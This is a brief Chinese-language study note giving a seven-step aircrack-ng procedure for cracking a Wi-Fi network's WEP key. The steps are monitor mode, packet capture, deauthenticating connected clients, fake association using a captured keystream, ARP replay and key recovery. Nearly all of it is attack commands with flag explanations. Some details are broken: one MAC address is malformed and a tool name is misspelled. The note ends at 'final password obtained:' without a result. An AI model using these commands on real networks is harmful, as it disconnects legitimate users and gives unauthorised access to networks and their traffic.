WEP密码分析流程-笔记

第一步：进入Monitor 模式

airmon-ng   #查看当前使用无线网卡

airmon-ng check #查看可能影响无线扫描的进程

airmon-ng check kill #关闭有可能影响无线扫描的进程

airmon-ng start wlan0 #使用wlan0 进入Monitor模式

使用 iwconfig 命令 查看 wlanmon的 Mode项是否切换为Monitor模式

第二步：启动抓包并保存数据包

airodump-ng wlan0mon -c 1 --bssid 00:11:22:33:44:55 -w wep.cap #--bssid 监听指定MAC的设备 -c 是指定信道 -w 把监听的数据包写入文件
 

第三步：Deauthentication 抓取XOR文件(有无线设备已经连接上路由器)

发送解除数据包打断现在与AP(路由器)连接的设备(手机，笔记本等)，让设备再次重新连接

aireplay-ng -0 1 -a EC:26:CADC:29:B6 -c 08:57:00:0C:96:68 wlan0mon# -0打断指令  1 进行一次尝试 -a 路由器的mac  -c要断开的无线设备MAC地址 wlan0mon 使用的无线网卡

出现 keystream说明成功获取XOR文件：

第四步：利用XOR文件与AP建立关联

airreplay-ng -1 60 -e  TP_LINK7301 -y wep-01-80-89-17-1E-2B-44.xor  -a 00:11:22:33:44:55  -h 66:77:55:33:22:11 wlan0mon #-1 多长时间进行重新关联 -e指定关联的AP -y 关联密钥流文件（ls指令即可查看抓到的文件） -a 重放STA地址(连上该路由的MAC地址)  -h自己无线网卡的MAC地址 wlan0mon使用的当前无线网卡

第五步：执行ARP重放

aireplay-ng -3 -b EC:26:CADC:29:B6 -h 66:77:55:33:22:11  wlan0mon#-3 arp重放攻击 -b 指定要攻击的AP地址 -h 自己无线网卡的MAC地址 wlan0mon使用的当前无线网卡

第六步：Deauthentication触发ARP数据包（新的窗口输入打断指令）

aireplay-ng -0 1 -a EC:26:CADC:29:B6 -c 08:57:00:0C:96:68 wlan0mon# -0打断指令  1 进行一次尝试 -a 路由器的mac  -c要断开的无线设备MAC地址 wlan0mon 使用的无线网卡

打断重连后，就会抓取到ARP包

第七步：收集足够多的DATA之后出现密码(可以新开窗口进行边抓包边分析)

aircrack-ng wep-01.cap   #对抓包的文件进行分析

最后得到的密码：